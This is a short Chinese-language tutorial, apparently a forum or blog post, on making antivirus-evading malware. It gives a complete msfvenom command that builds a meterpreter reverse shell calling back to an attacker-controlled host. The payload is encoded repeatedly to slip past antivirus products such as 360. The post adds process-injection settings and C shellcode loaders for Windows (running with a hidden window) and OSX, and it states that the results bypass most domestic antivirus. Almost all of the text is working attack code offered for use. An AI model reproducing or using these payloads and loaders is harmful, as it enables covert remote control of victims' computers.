1.shellcode具体怎么生成,可以借助cobalt straike 或者msf,还可以自己折腾
2.这里举例msf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -e x86/shikata_ga_nai -i 16 PrependMigrate=true PrependMigrateProc=php-cgi.exe -f c> shell.c
多次尝试使用x86/shikata_ga_nai 编码十五六次后,生成的shellcode用vs2007 生成exe文件,可以过杀软,360或者安全管家
这里主要说明两个参数:
PrependMigrate 设置为true以后,shellcode注入后将会实现进程注入,具体要注入到什么进程里,需要设置PrependMigrateProc 值。
这里不建议注入到lsass或者csrss 系统进程中,具体的不怕折腾可以多研究一下,要不蓝屏,要不断了以后就不会再回连。
其他进程怎么找,各种一句话shell里执行 tasklist….
3.之后把生成的shellcode 放到 c/c++ 编译工具里或者放到 vc2017编译生成,这里使用vs2017
代码如下:
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
unsigned char shellcode[] =
"shellcode";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译好之后执行即可。可以过国内大部分杀软,360、安全管家等等….
另:OSX下如果需要编译一个shellcode,大概如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char shellcode[] =
"shellcode";
int main(int argc, char *argv[]){
void (*f)();
char *x = malloc(sizeof(shellcode));
memcpy(x, shellcode, sizeof(shellcode));
f = (void (*)()) x;
f();
}